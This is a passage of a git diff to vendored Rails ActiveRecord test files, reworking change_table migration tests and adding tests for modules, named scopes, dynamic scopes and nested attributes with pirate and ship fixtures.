+        @connection.expects(:remove_column).with(:delete_me, 'taggable_type')
+        @connection.expects(:remove_column).with(:delete_me, 'taggable_id')
+        t.remove_references :taggable, :polymorphic => true
       end
+    end
 
-      def teardown
-        Person.connection.drop_table :delete_me rescue nil
+    def test_references_column_type_with_polymorphic_and_options_null_is_false_adds_table_flag
+      with_change_table do |t|
+        @connection.expects(:add_column).with(:delete_me, 'taggable_type', :string, {:null => false})
+        @connection.expects(:add_column).with(:delete_me, 'taggable_id', :integer, {:null => false})
+        t.references :taggable, :polymorphic => true, :null => false
       end
+    end
 
-      def test_references_column_type_adds_id
-        with_change_table do |t|
-          @connection.expects(:add_column).with(:delete_me, 'customer_id', :integer, {})
-          t.references :customer
-        end
+    def test_remove_references_column_type_with_polymorphic_and_options_null_is_false_removes_table_flag
+      with_change_table do |t|
+        @connection.expects(:remove_column).with(:delete_me, 'taggable_type')
+        @connection.expects(:remove_column).with(:delete_me, 'taggable_id')
+        t.remove_references :taggable, :polymorphic => true, :null => false
       end
+    end
 
-      def test_remove_references_column_type_removes_id
-        with_change_table do |t|
-          @connection.expects(:remove_column).with(:delete_me, 'customer_id')
-          t.remove_references :customer
-        end
+    def test_timestamps_creates_updated_at_and_created_at
+      with_change_table do |t|
+        @connection.expects(:add_timestamps).with(:delete_me)
+        t.timestamps
       end
+    end
 
-      def test_add_belongs_to_works_like_add_references
-        with_change_table do |t|
-          @connection.expects(:add_column).with(:delete_me, 'customer_id', :integer, {})
-          t.belongs_to :customer
-        end
+    def test_remove_timestamps_creates_updated_at_and_created_at
+      with_change_table do |t|
+        @connection.expects(:remove_timestamps).with(:delete_me)
+        t.remove_timestamps
       end
+    end
 
-      def test_remove_belongs_to_works_like_remove_references
-        with_change_table do |t|
-          @connection.expects(:remove_column).with(:delete_me, 'customer_id')
-          t.remove_belongs_to :customer
-        end
+    def string_column
+      if current_adapter?(:PostgreSQLAdapter)
+        "character varying(255)"
+      else
+        'varchar(255)'
       end
+    end
 
-      def test_references_column_type_with_polymorphic_adds_type
-        with_change_table do |t|
-          @connection.expects(:add_column).with(:delete_me, 'taggable_type', :string, {})
-          @connection.expects(:add_column).with(:delete_me, 'taggable_id', :integer, {})
-          t.references :taggable, :polymorphic => true
-        end
+    def integer_column
+      if current_adapter?(:MysqlAdapter)
+        'int(11)'
+      else
+        'integer'
       end
+    end
 
-      def test_remove_references_column_type_with_polymorphic_removes_type
-        with_change_table do |t|
-          @connection.expects(:remove_column).with(:delete_me, 'taggable_type')
-          @connection.expects(:remove_column).with(:delete_me, 'taggable_id')
-          t.remove_references :taggable, :polymorphic => true
-        end
+    def test_integer_creates_integer_column
+      with_change_table do |t|
+        @connection.expects(:add_column).with(:delete_me, :foo, integer_column, {})
+        @connection.expects(:add_column).with(:delete_me, :bar, integer_column, {})
+        t.integer :foo, :bar
       end
+    end
 
-      def test_references_column_type_with_polymorphic_and_options_null_is_false_adds_table_flag
-        with_change_table do |t|
-          @connection.expects(:add_column).with(:delete_me, 'taggable_type', :string, {:null => false})
-          @connection.expects(:add_column).with(:delete_me, 'taggable_id', :integer, {:null => false})
-          t.references :taggable, :polymorphic => true, :null => false
-        end
+    def test_string_creates_string_column
+      with_change_table do |t|
+        @connection.expects(:add_column).with(:delete_me, :foo, string_column, {})
+        @connection.expects(:add_column).with(:delete_me, :bar, string_column, {})
+        t.string :foo, :bar
       end
+    end
 
-      def test_remove_references_column_type_with_polymorphic_and_options_null_is_false_removes_table_flag
-        with_change_table do |t|
-          @connection.expects(:remove_column).with(:delete_me, 'taggable_type')
-          @connection.expects(:remove_column).with(:delete_me, 'taggable_id')
-          t.remove_references :taggable, :polymorphic => true, :null => false
-        end
+    def test_column_creates_column
+      with_change_table do |t|
+        @connection.expects(:add_column).with(:delete_me, :bar, :integer, {})
+        t.column :bar, :integer
       end
+    end
 
-      def test_timestamps_creates_updated_at_and_created_at
-        with_change_table do |t|
-          @connection.expects(:add_timestamps).with(:delete_me)
-          t.timestamps
-        end
+    def test_column_creates_column_with_options
+      with_change_table do |t|
+        @connection.expects(:add_column).with(:delete_me, :bar, :integer, {:null => false})
+        t.column :bar, :integer, :null => false
       end
+    end
 
-      def test_remove_timestamps_creates_updated_at_and_created_at
-        with_change_table do |t|
-          @connection.expects(:remove_timestamps).with(:delete_me)
-          t.remove_timestamps
-        end
+    def test_index_creates_index
+      with_change_table do |t|
+        @connection.expects(:add_index).with(:delete_me, :bar, {})
+        t.index :bar
       end
+    end
 
-      def string_column
-        if current_adapter?(:PostgreSQLAdapter)
-          "character varying(255)"
-        else
-          'varchar(255)'
-        end
+    def test_index_creates_index_with_options
+      with_change_table do |t|
+        @connection.expects(:add_index).with(:delete_me, :bar, {:unique => true})
+        t.index :bar, :unique => true
       end
+    end
 
-      def integer_column
-        if current_adapter?(:MysqlAdapter)
-          'int(11)'
-        else
-          'integer'
-        end
+    def test_change_changes_column
+      with_change_table do |t|
+        @connection.expects(:change_column).with(:delete_me, :bar, :string, {})
+        t.change :bar, :string
       end
+    end
 
-      def test_integer_creates_integer_column
-        with_change_table do |t|
-          @connection.expects(:add_column).with(:delete_me, :foo, integer_column, {})
-          @connection.expects(:add_column).with(:delete_me, :bar, integer_column, {})
-          t.integer :foo, :bar
-        end
+    def test_change_changes_column_with_options
+      with_change_table do |t|
+        @connection.expects(:change_column).with(:delete_me, :bar, :string, {:null => true})
+        t.change :bar, :string, :null => true
       end
+    end
 
-      def test_string_creates_string_column
-        with_change_table do |t|
-          @connection.expects(:add_column).with(:delete_me, :foo, string_column, {})
-          @connection.expects(:add_column).with(:delete_me, :bar, string_column, {})
-          t.string :foo, :bar
-        end
+    def test_change_default_changes_column
+      with_change_table do |t|
+        @connection.expects(:change_column_default).with(:delete_me, :bar, :string)
+        t.change_default :bar, :string
       end
+    end
 
-      def test_column_creates_column
-        with_change_table do |t|
-          @connection.expects(:add_column).with(:delete_me, :bar, :integer, {})
-          t.column :bar, :integer
-        end
+    def test_remove_drops_single_column
+      with_change_table do |t|
+        @connection.expects(:remove_column).with(:delete_me, [:bar])
+        t.remove :bar
       end
+    end
 
-      def test_column_creates_column_with_options
-        with_change_table do |t|
-          @connection.expects(:add_column).with(:delete_me, :bar, :integer, {:null => false})
-          t.column :bar, :integer, :null => false
-        end
+    def test_remove_drops_multiple_columns
+      with_change_table do |t|
+        @connection.expects(:remove_column).with(:delete_me, [:bar, :baz])
+        t.remove :bar, :baz
       end
+    end
 
-      def test_index_creates_index
-        with_change_table do |t|
-          @connection.expects(:add_index).with(:delete_me, :bar, {})
-          t.index :bar
-        end
+    def test_remove_index_removes_index_with_options
+      with_change_table do |t|
+        @connection.expects(:remove_index).with(:delete_me, {:unique => true})
+        t.remove_index :unique => true
       end
+    end
 
-      def test_index_creates_index_with_options
-        with_change_table do |t|
-          @connection.expects(:add_index).with(:delete_me, :bar, {:unique => true})
-          t.index :bar, :unique => true
-        end
+    def test_rename_renames_column
+      with_change_table do |t|
+        @connection.expects(:rename_column).with(:delete_me, :bar, :baz)
+        t.rename :bar, :baz
       end
+    end
 
-      def test_change_changes_column
-        with_change_table do |t|
-          @connection.expects(:change_column).with(:delete_me, :bar, :string, {})
-          t.change :bar, :string
-        end
+    protected
+    def with_change_table
+      Person.connection.change_table :delete_me do |t|
+        yield t
       end
-
-      def test_change_changes_column_with_options
-        with_change_table do |t|
-          @connection.expects(:change_column).with(:delete_me, :bar, :string, {:null => true})
-          t.change :bar, :string, :null => true
-        end
-      end
-
-      def test_change_default_changes_column
-        with_change_table do |t|
-          @connection.expects(:change_column_default).with(:delete_me, :bar, :string)
-          t.change_default :bar, :string
-        end
-      end
-
-      def test_remove_drops_single_column
-        with_change_table do |t|
-          @connection.expects(:remove_column).with(:delete_me, [:bar])
-          t.remove :bar
-        end
-      end
-
-      def test_remove_drops_multiple_columns
-        with_change_table do |t|
-          @connection.expects(:remove_column).with(:delete_me, [:bar, :baz])
-          t.remove :bar, :baz
-        end
-      end
-
-      def test_remove_index_removes_index_with_options
-        with_change_table do |t|
-          @connection.expects(:remove_index).with(:delete_me, {:unique => true})
-          t.remove_index :unique => true
-        end
-      end
-
-      def test_rename_renames_column
-        with_change_table do |t|
-          @connection.expects(:rename_column).with(:delete_me, :bar, :baz)
-          t.rename :bar, :baz
-        end
-      end
-
-      protected
-      def with_change_table
-        Person.connection.change_table :delete_me do |t|
-          yield t
-        end
-      end
-
-    end # ChangeTable test
-  end # uses_mocha
-
+    end
+  end
 end
+
diff --git a/vendor/rails/activerecord/test/cases/modules_test.rb b/vendor/rails/activerecord/test/cases/modules_test.rb
index 283333fc..4f559bca 100644
--- a/vendor/rails/activerecord/test/cases/modules_test.rb
+++ b/vendor/rails/activerecord/test/cases/modules_test.rb
@@ -4,6 +4,23 @@ require 'models/company_in_module'
 class ModulesTest < ActiveRecord::TestCase
   fixtures :accounts, :companies, :projects, :developers
 
+  def setup
+    # need to make sure Object::Firm and Object::Client are not defined,
+    # so that constantize will not be able to cheat when having to load namespaced classes
+    @undefined_consts = {}
+
+    [:Firm, :Client].each do |const|
+      @undefined_consts.merge! const => Object.send(:remove_const, const) if Object.const_defined?(const)
+    end
+  end
+
+  def teardown
+    # reinstate the constants that we undefined in the setup
+    @undefined_consts.each do |constant, value|
+      Object.send :const_set, constant, value unless value.nil?
+    end
+  end
+
   def test_module_spanning_associations
     firm = MyApplication::Business::Firm.find(:first)
     assert !firm.clients.empty?, "Firm should have clients"
@@ -36,4 +53,29 @@ class ModulesTest < ActiveRecord::TestCase
     assert_equal 'companies', MyApplication::Business::Client.table_name, 'table_name for ActiveRecord model subclass'
     assert_equal 'company_contacts', MyApplication::Business::Client::Contact.table_name, 'table_name for ActiveRecord model enclosed by another ActiveRecord model'
   end
+
+  def test_assign_ids
+    firm = MyApplication::Business::Firm.first
+
+    assert_nothing_raised NameError, "Should be able to resolve all class constants via reflection" do
+      firm.client_ids = [MyApplication::Business::Client.first.id]
+    end
+  end
+
+  # need to add an eager loading condition to force the eager loading model into
+  # the old join model, to test that. See http://dev.rubyonrails.org/ticket/9640
+  def test_eager_loading_in_modules
+    clients = []
+
+    assert_nothing_raised NameError, "Should be able to resolve all class constants via reflection" do
+      clients << MyApplication::Business::Client.find(3, :include => {:firm => :account}, :conditions => 'accounts.id IS NOT NULL')
+      clients << MyApplication::Business::Client.find(3, :include => {:firm => :account})
+    end
+
+    clients.each do |client|
+      assert_no_queries do
+        assert_not_nil(client.firm.account)
+      end
+    end
+  end
 end
diff --git a/vendor/rails/activerecord/test/cases/named_scope_test.rb b/vendor/rails/activerecord/test/cases/named_scope_test.rb
index 64e89978..208a2eea 100644
--- a/vendor/rails/activerecord/test/cases/named_scope_test.rb
+++ b/vendor/rails/activerecord/test/cases/named_scope_test.rb
@@ -15,7 +15,7 @@ class NamedScopeTest < ActiveRecord::TestCase
     assert_equal Topic.find(:all),   Topic.base
     assert_equal Topic.find(:all),   Topic.base.to_a
     assert_equal Topic.find(:first), Topic.base.first
-    assert_equal Topic.find(:all),   Topic.base.each { |i| i }
+    assert_equal Topic.find(:all),   Topic.base.map { |i| i }
   end
 
   def test_found_items_are_cached
@@ -99,6 +99,12 @@ class NamedScopeTest < ActiveRecord::TestCase
     assert_equal topics_written_before_the_second, Topic.written_before(topics(:second).written_on)
   end
 
+  def test_procedural_scopes_returning_nil
+    all_topics = Topic.find(:all)
+
+    assert_equal all_topics, Topic.written_before(nil)
+  end
+
   def test_scopes_with_joins
     address = author_addresses(:david_address)
     posts_with_authors_at_address = Post.find(
@@ -142,6 +148,15 @@ class NamedScopeTest < ActiveRecord::TestCase
     assert_equal authors(:david).comments & Comment.containing_the_letter_e, authors(:david).comments.containing_the_letter_e
   end
 
+  def test_named_scopes_honor_current_scopes_from_when_defined
+    assert !Post.ranked_by_comments.limit(5).empty?
+    assert !authors(:david).posts.ranked_by_comments.limit(5).empty?
+    assert_not_equal Post.ranked_by_comments.limit(5), authors(:david).posts.ranked_by_comments.limit(5)
+    assert_not_equal Post.top(5), authors(:david).posts.top(5)
+    assert_equal authors(:david).posts.ranked_by_comments.limit(5), authors(:david).posts.top(5)
+    assert_equal Post.ranked_by_comments.limit(5), Post.top(5)
+  end
+
   def test_active_records_have_scope_named__all__
     assert !Topic.find(:all).empty?
 
@@ -238,7 +253,7 @@ class NamedScopeTest < ActiveRecord::TestCase
     topic = Topic.approved.create!({})
     assert topic.approved
   end
-  
+
   def test_should_build_with_proxy_options_chained
     topic = Topic.approved.by_lifo.build({})
     assert topic.approved
@@ -254,7 +269,7 @@ class NamedScopeTest < ActiveRecord::TestCase
   end
 
   def test_should_use_where_in_query_for_named_scope
-    assert_equal Developer.find_all_by_name('Jamis'), Developer.find_all_by_id(Developer.jamises)
+    assert_equal Developer.find_all_by_name('Jamis').to_set, Developer.find_all_by_id(Developer.jamises).to_set
   end
 
   def test_size_should_use_count_when_results_are_not_loaded
@@ -277,4 +292,70 @@ class NamedScopeTest < ActiveRecord::TestCase
     post = Post.find(1)
     assert_equal post.comments.size, Post.scoped(:joins => join).scoped(:joins => join, :conditions => "posts.id = #{post.id}").size
   end
+
+  def test_chaining_should_use_latest_conditions_when_creating
+    post = Topic.rejected.new
+    assert !post.approved?
+
+    post = Topic.rejected.approved.new
+    assert post.approved?
+
+    post = Topic.approved.rejected.new
+    assert !post.approved?
+
+    post = Topic.approved.rejected.approved.new
+    assert post.approved?
+  end
+
+  def test_chaining_should_use_latest_conditions_when_searching
+    # Normal hash conditions
+    assert_equal Topic.all(:conditions => {:approved => true}), Topic.rejected.approved.all
+    assert_equal Topic.all(:conditions => {:approved => false}), Topic.approved.rejected.all
+
+    # Nested hash conditions with same keys
+    assert_equal [posts(:sti_comments)], Post.with_special_comments.with_very_special_comments.all
+
+    # Nested hash conditions with different keys
+    assert_equal [posts(:sti_comments)], Post.with_special_comments.with_post(4).all.uniq
+  end
+
+  def test_named_scopes_batch_finders
+    assert_equal 3, Topic.approved.count
+
+    assert_queries(4) do
+      Topic.approved.find_each(:batch_size => 1) {|t| assert t.approved? }
+    end
+
+    assert_queries(2) do
+      Topic.approved.find_in_batches(:batch_size => 2) do |group|
+        group.each {|t| assert t.approved? }
+      end
+    end
+  end
+
+  def test_table_names_for_chaining_scopes_with_and_without_table_name_included
+    assert_nothing_raised do
+      Comment.for_first_post.for_first_author.all
+    end
+  end
+end
+
+class DynamicScopeMatchTest < ActiveRecord::TestCase  
+  def test_scoped_by_no_match
+    assert_nil ActiveRecord::DynamicScopeMatch.match("not_scoped_at_all")
+  end
+
+  def test_scoped_by
+    match = ActiveRecord::DynamicScopeMatch.match("scoped_by_age_and_sex_and_location")
+    assert_not_nil match
+    assert match.scope?
+    assert_equal %w(age sex location), match.attribute_names
+  end
+end
+
+class DynamicScopeTest < ActiveRecord::TestCase
+  def test_dynamic_scope
+    assert_equal Post.scoped_by_author_id(1).find(1), Post.find(1)
+    assert_equal Post.scoped_by_author_id_and_title(1, "Welcome to the weblog").first, Post.find(:first, :conditions => { :author_id => 1, :title => "Welcome to the weblog"})
+  end
 end
diff --git a/vendor/rails/activerecord/test/cases/nested_attributes_test.rb b/vendor/rails/activerecord/test/cases/nested_attributes_test.rb
new file mode 100644
index 00000000..59ba9a38
--- /dev/null
+++ b/vendor/rails/activerecord/test/cases/nested_attributes_test.rb
@@ -0,0 +1,581 @@
+require "cases/helper"
+require "models/pirate"
+require "models/ship"
+require "models/bird"
+require "models/parrot"
+require "models/treasure"
+
+module AssertRaiseWithMessage
+  def assert_raise_with_message(expected_exception, expected_message)
+    begin
+      error_raised = false
+      yield
+    rescue expected_exception => error
+      error_raised = true
+      actual_message = error.message
+    end
+    assert error_raised
+    assert_equal expected_message, actual_message
+  end
+end
+
+class TestNestedAttributesInGeneral < ActiveRecord::TestCase
+  include AssertRaiseWithMessage
+
+  def teardown
+    Pirate.accepts_nested_attributes_for :ship, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
+  end
+
+  def test_base_should_have_an_empty_nested_attributes_options
+    assert_equal Hash.new, ActiveRecord::Base.nested_attributes_options
+  end
+
+  def test_should_add_a_proc_to_nested_attributes_options
+    [:parrots, :birds].each do |name|
+      assert_instance_of Proc, Pirate.nested_attributes_options[name][:reject_if]
+    end
+  end
+
+  def test_should_raise_an_ArgumentError_for_non_existing_associations
+    assert_raise_with_message ArgumentError, "No association found for name `honesty'. Has it been defined yet?" do
+      Pirate.accepts_nested_attributes_for :honesty
+    end
+  end
+
+  def test_should_disable_allow_destroy_by_default
+    Pirate.accepts_nested_attributes_for :ship
+
+    pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+    ship = pirate.create_ship(:name => 'Nights Dirty Lightning')
+
+    assert_no_difference('Ship.count') do
+      pirate.update_attributes(:ship_attributes => { '_destroy' => true })
+    end
+  end
+
+  def test_a_model_should_respond_to_underscore_destroy_and_return_if_it_is_marked_for_destruction
+    ship = Ship.create!(:name => 'Nights Dirty Lightning')
+    assert !ship._destroy
+    ship.mark_for_destruction
+    assert ship._destroy
+  end
+
+  def test_underscore_delete_is_deprecated
+    ActiveSupport::Deprecation.expects(:warn)
+    ship = Ship.create!(:name => 'Nights Dirty Lightning')
+    ship._delete
+  end
+
+  def test_reject_if_method_without_arguments
+    Pirate.accepts_nested_attributes_for :ship, :reject_if => :new_record?
+
+    pirate = Pirate.new(:catchphrase => "Stop wastin' me time")
+    pirate.ship_attributes = { :name => 'Black Pearl' }
+    assert_no_difference('Ship.count') { pirate.save! }
+  end
+
+  def test_reject_if_method_with_arguments
+    Pirate.accepts_nested_attributes_for :ship, :reject_if => :reject_empty_ships_on_create
+
+    pirate = Pirate.new(:catchphrase => "Stop wastin' me time")
+    pirate.ship_attributes = { :name => 'Red Pearl', :_reject_me_if_new => true }
+    assert_no_difference('Ship.count') { pirate.save! }
+
+    # pirate.reject_empty_ships_on_create returns false for saved records
+    pirate.ship_attributes = { :name => 'Red Pearl', :_reject_me_if_new => true }
+    assert_difference('Ship.count') { pirate.save! }
+  end
+
+  def test_reject_if_with_indifferent_keys
+    Pirate.accepts_nested_attributes_for :ship, :reject_if => proc {|attributes| attributes[:name].blank? }
+
+    pirate = Pirate.new(:catchphrase => "Stop wastin' me time")
+    pirate.ship_attributes = { :name => 'Hello Pearl' }
+    assert_difference('Ship.count') { pirate.save! }
+  end
+end
+
+class TestNestedAttributesOnAHasOneAssociation < ActiveRecord::TestCase
+  include AssertRaiseWithMessage
+
+  def setup
+    @pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+    @ship = @pirate.create_ship(:name => 'Nights Dirty Lightning')
+  end
+
+  def test_should_raise_argument_error_if_trying_to_build_polymorphic_belongs_to
+    assert_raise_with_message ArgumentError, "Cannot build association looter. Are you trying to build a polymorphic one-to-one association?" do
+      Treasure.new(:name => 'pearl', :looter_attributes => {:catchphrase => "Arrr"})
+    end
+  end
+
+  def test_should_define_an_attribute_writer_method_for_the_association
+    assert_respond_to @pirate, :ship_attributes=
+  end
+
+  def test_should_build_a_new_record_if_there_is_no_id
+    @ship.destroy
+    @pirate.reload.ship_attributes = { :name => 'Davy Jones Gold Dagger' }
+
+    assert @pirate.ship.new_record?
+    assert_equal 'Davy Jones Gold Dagger', @pirate.ship.name
+  end
+
+  def test_should_not_build_a_new_record_if_there_is_no_id_and_destroy_is_truthy
+    @ship.destroy
+    @pirate.reload.ship_attributes = { :name => 'Davy Jones Gold Dagger', :_destroy => '1' }
+
+    assert_nil @pirate.ship
+  end
+
+  def test_should_not_build_a_new_record_if_a_reject_if_proc_returns_false
+    @ship.destroy
+    @pirate.reload.ship_attributes = {}
+
+    assert_nil @pirate.ship
+  end
+
+  def test_should_replace_an_existing_record_if_there_is_no_id
+    @pirate.reload.ship_attributes = { :name => 'Davy Jones Gold Dagger' }
+
+    assert @pirate.ship.new_record?
+    assert_equal 'Davy Jones Gold Dagger', @pirate.ship.name
+    assert_equal 'Nights Dirty Lightning', @ship.name
+  end
+
+  def test_should_not_replace_an_existing_record_if_there_is_no_id_and_destroy_is_truthy
+    @pirate.reload.ship_attributes = { :name => 'Davy Jones Gold Dagger', :_destroy => '1' }
+
+    assert_equal @ship, @pirate.ship
+    assert_equal 'Nights Dirty Lightning', @pirate.ship.name
+  end
+
+  def test_should_modify_an_existing_record_if_there_is_a_matching_id
+    @pirate.reload.ship_attributes = { :id => @ship.id, :name => 'Davy Jones Gold Dagger' }
+
+    assert_equal @ship, @pirate.ship
+    assert_equal 'Davy Jones Gold Dagger', @pirate.ship.name
+  end
+
+  def test_should_take_a_hash_with_string_keys_and_update_the_associated_model
+    @pirate.reload.ship_attributes = { 'id' => @ship.id, 'name' => 'Davy Jones Gold Dagger' }
+
+    assert_equal @ship, @pirate.ship
+    assert_equal 'Davy Jones Gold Dagger', @pirate.ship.name
+  end
+
+  def test_should_modify_an_existing_record_if_there_is_a_matching_composite_id
+    @ship.stubs(:id).returns('ABC1X')
+    @pirate.ship_attributes = { :id => @ship.id, :name => 'Davy Jones Gold Dagger' }
+
+    assert_equal 'Davy Jones Gold Dagger', @pirate.ship.name
+  end
+
+  def test_should_destroy_an_existing_record_if_there_is_a_matching_id_and_destroy_is_truthy
+    @pirate.ship.destroy
+    [1, '1', true, 'true'].each do |truth|
+      @pirate.reload.create_ship(:name => 'Mister Pablo')
+      assert_difference('Ship.count', -1) do
+        @pirate.update_attribute(:ship_attributes, { :id => @pirate.ship.id, :_destroy => truth })
+      end
+    end
+  end
+
+  def test_should_not_destroy_an_existing_record_if_destroy_is_not_truthy
+    [nil, '0', 0, 'false', false].each do |not_truth|
+      assert_no_difference('Ship.count') do
+        @pirate.update_attribute(:ship_attributes, { :id => @pirate.ship.id, :_destroy => not_truth })
+      end
+    end
+  end
+
+  def test_should_not_destroy_an_existing_record_if_allow_destroy_is_false
+    Pirate.accepts_nested_attributes_for :ship, :allow_destroy => false, :reject_if => proc { |attributes| attributes.empty? }
+
+    assert_no_difference('Ship.count') do
+      @pirate.update_attribute(:ship_attributes, { :id => @pirate.ship.id, :_destroy => '1' })
+    end
+
+    Pirate.accepts_nested_attributes_for :ship, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
+  end
+
+  def test_should_also_work_with_a_HashWithIndifferentAccess
+    @pirate.ship_attributes = HashWithIndifferentAccess.new(:id => @ship.id, :name => 'Davy Jones Gold Dagger')
+
+    assert !@pirate.ship.new_record?
+    assert_equal 'Davy Jones Gold Dagger', @pirate.ship.name
+  end
+
+  def test_should_work_with_update_attributes_as_well
+    @pirate.update_attributes({ :catchphrase => 'Arr', :ship_attributes => { :id => @ship.id, :name => 'Mister Pablo' } })
+    @pirate.reload
+
+    assert_equal 'Arr', @pirate.catchphrase
+    assert_equal 'Mister Pablo', @pirate.ship.name
+  end
+
+  def test_should_not_destroy_the_associated_model_until_the_parent_is_saved
+    assert_no_difference('Ship.count') do
+      @pirate.attributes = { :ship_attributes => { :id => @ship.id, :_destroy => '1' } }
+    end
+    assert_difference('Ship.count', -1) do
+      @pirate.save
+    end
+  end
+
+  def test_should_automatically_enable_autosave_on_the_association
+    assert Pirate.reflect_on_association(:ship).options[:autosave]
+  end
+end
+
+class TestNestedAttributesOnABelongsToAssociation < ActiveRecord::TestCase
+  def setup
+    @ship = Ship.new(:name => 'Nights Dirty Lightning')
+    @pirate = @ship.build_pirate(:catchphrase => 'Aye')
+    @ship.save!
+  end
+
+  def test_should_define_an_attribute_writer_method_for_the_association
+    assert_respond_to @ship, :pirate_attributes=
+  end
+
+  def test_should_build_a_new_record_if_there_is_no_id
+    @pirate.destroy
+    @ship.reload.pirate_attributes = { :catchphrase => 'Arr' }
+
+    assert @ship.pirate.new_record?
+    assert_equal 'Arr', @ship.pirate.catchphrase
+  end
+
+  def test_should_not_build_a_new_record_if_there_is_no_id_and_destroy_is_truthy
+    @pirate.destroy
+    @ship.reload.pirate_attributes = { :catchphrase => 'Arr', :_destroy => '1' }
+
+    assert_nil @ship.pirate
+  end
+
+  def test_should_not_build_a_new_record_if_a_reject_if_proc_returns_false
+    @pirate.destroy
+    @ship.reload.pirate_attributes = {}
+
+    assert_nil @ship.pirate
+  end
+
+  def test_should_replace_an_existing_record_if_there_is_no_id
+    @ship.reload.pirate_attributes = { :catchphrase => 'Arr' }
+
+    assert @ship.pirate.new_record?
+    assert_equal 'Arr', @ship.pirate.catchphrase
+    assert_equal 'Aye', @pirate.catchphrase
+  end
+
+  def test_should_not_replace_an_existing_record_if_there_is_no_id_and_destroy_is_truthy
+    @ship.reload.pirate_attributes = { :catchphrase => 'Arr', :_destroy => '1' }
+
+    assert_equal @pirate, @ship.pirate
+    assert_equal 'Aye', @ship.pirate.catchphrase
+  end
+
+  def test_should_modify_an_existing_record_if_there_is_a_matching_id
+    @ship.reload.pirate_attributes = { :id => @pirate.id, :catchphrase => 'Arr' }
+
+    assert_equal @pirate, @ship.pirate
+    assert_equal 'Arr', @ship.pirate.catchphrase
+  end
+
+  def test_should_take_a_hash_with_string_keys_and_update_the_associated_model
+    @ship.reload.pirate_attributes = { 'id' => @pirate.id, 'catchphrase' => 'Arr' }
+
+    assert_equal @pirate, @ship.pirate
+    assert_equal 'Arr', @ship.pirate.catchphrase
+  end
+
+  def test_should_modify_an_existing_record_if_there_is_a_matching_composite_id
+    @pirate.stubs(:id).returns('ABC1X')
+    @ship.pirate_attributes = { :id => @pirate.id, :catchphrase => 'Arr' }
+
+    assert_equal 'Arr', @ship.pirate.catchphrase
+  end
+
+  def test_should_destroy_an_existing_record_if_there_is_a_matching_id_and_destroy_is_truthy
+    @ship.pirate.destroy
+    [1, '1', true, 'true'].each do |truth|
+      @ship.reload.create_pirate(:catchphrase => 'Arr')
+      assert_difference('Pirate.count', -1) do
+        @ship.update_attribute(:pirate_attributes, { :id => @ship.pirate.id, :_destroy => truth })
+      end
+    end
+  end
+
+  def test_should_not_destroy_an_existing_record_if_destroy_is_not_truthy
+    [nil, '0', 0, 'false', false].each do |not_truth|
+      assert_no_difference('Pirate.count') do
+        @ship.update_attribute(:pirate_attributes, { :id => @ship.pirate.id, :_destroy => not_truth })
+      end
+    end
+  end
+
+  def test_should_not_destroy_an_existing_record_if_allow_destroy_is_false
+    Ship.accepts_nested_attributes_for :pirate, :allow_destroy => false, :reject_if => proc { |attributes| attributes.empty? }
+
+    assert_no_difference('Pirate.count') do
+      @ship.update_attribute(:pirate_attributes, { :id => @ship.pirate.id, :_destroy => '1' })
+    end
+
+    Ship.accepts_nested_attributes_for :pirate, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
+  end
+
+  def test_should_work_with_update_attributes_as_well
+    @ship.update_attributes({ :name => 'Mister Pablo', :pirate_attributes => { :catchphrase => 'Arr' } })
+    @ship.reload
+
+    assert_equal 'Mister Pablo', @ship.name
+    assert_equal 'Arr', @ship.pirate.catchphrase
+  end
+
+  def test_should_not_destroy_the_associated_model_until_the_parent_is_saved
+    assert_no_difference('Pirate.count') do
+      @ship.attributes = { :pirate_attributes => { :id => @ship.pirate.id, '_destroy' => true } }
+    end
+    assert_difference('Pirate.count', -1) { @ship.save }
+  end
+
+  def test_should_automatically_enable_autosave_on_the_association
+    assert Ship.reflect_on_association(:pirate).options[:autosave]
+  end
+end
+
+module NestedAttributesOnACollectionAssociationTests
+  include AssertRaiseWithMessage
+
+  def test_should_define_an_attribute_writer_method_for_the_association
+    assert_respond_to @pirate, association_setter
+  end
+
+  def test_should_take_a_hash_with_string_keys_and_assign_the_attributes_to_the_associated_models
+    @alternate_params[association_getter].stringify_keys!
+    @pirate.update_attributes @alternate_params
+    assert_equal ['Grace OMalley', 'Privateers Greed'], [@child_1.reload.name, @child_2.reload.name]
+  end
+
+  def test_should_take_an_array_and_assign_the_attributes_to_the_associated_models
+    @pirate.send(association_setter, @alternate_params[association_getter].values)
+    @pirate.save
+    assert_equal ['Grace OMalley', 'Privateers Greed'], [@child_1.reload.name, @child_2.reload.name]
+  end
+
+  def test_should_also_work_with_a_HashWithIndifferentAccess
+    @pirate.send(association_setter, HashWithIndifferentAccess.new('foo' => HashWithIndifferentAccess.new(:id => @child_1.id, :name => 'Grace OMalley')))
+    @pirate.save
+    assert_equal 'Grace OMalley', @child_1.reload.name
+  end
+
+  def test_should_take_a_hash_and_assign_the_attributes_to_the_associated_models
+    @pirate.attributes = @alternate_params
+    assert_equal 'Grace OMalley', @pirate.send(@association_name).first.name
+    assert_equal 'Privateers Greed', @pirate.send(@association_name).last.name
+  end
+
+  def test_should_take_a_hash_with_composite_id_keys_and_assign_the_attributes_to_the_associated_models
+    @child_1.stubs(:id).returns('ABC1X')
+    @child_2.stubs(:id).returns('ABC2X')
+
+    @pirate.attributes = {
+      association_getter => [
+        { :id => @child_1.id, :name => 'Grace OMalley' },
+        { :id => @child_2.id, :name => 'Privateers Greed' }
+      ]
+    }
+
+    assert_equal ['Grace OMalley', 'Privateers Greed'], [@child_1.name, @child_2.name]
+  end
+
+  def test_should_automatically_build_new_associated_models_for_each_entry_in_a_hash_where_the_id_is_missing
+    @pirate.send(@association_name).destroy_all
+    @pirate.reload.attributes = {
+      association_getter => { 'foo' => { :name => 'Grace OMalley' }, 'bar' => { :name => 'Privateers Greed' }}
+    }
+
+    assert @pirate.send(@association_name).first.new_record?
+    assert_equal 'Grace OMalley', @pirate.send(@association_name).first.name
+
+    assert @pirate.send(@association_name).last.new_record?
+    assert_equal 'Privateers Greed', @pirate.send(@association_name).last.name
+  end
+
+  def test_should_not_assign_destroy_key_to_a_record
+    assert_nothing_raised ActiveRecord::UnknownAttributeError do
+      @pirate.send(association_setter, { 'foo' => { '_destroy' => '0' }})
+    end
+  end
+
+  def test_should_ignore_new_associated_records_with_truthy_destroy_attribute
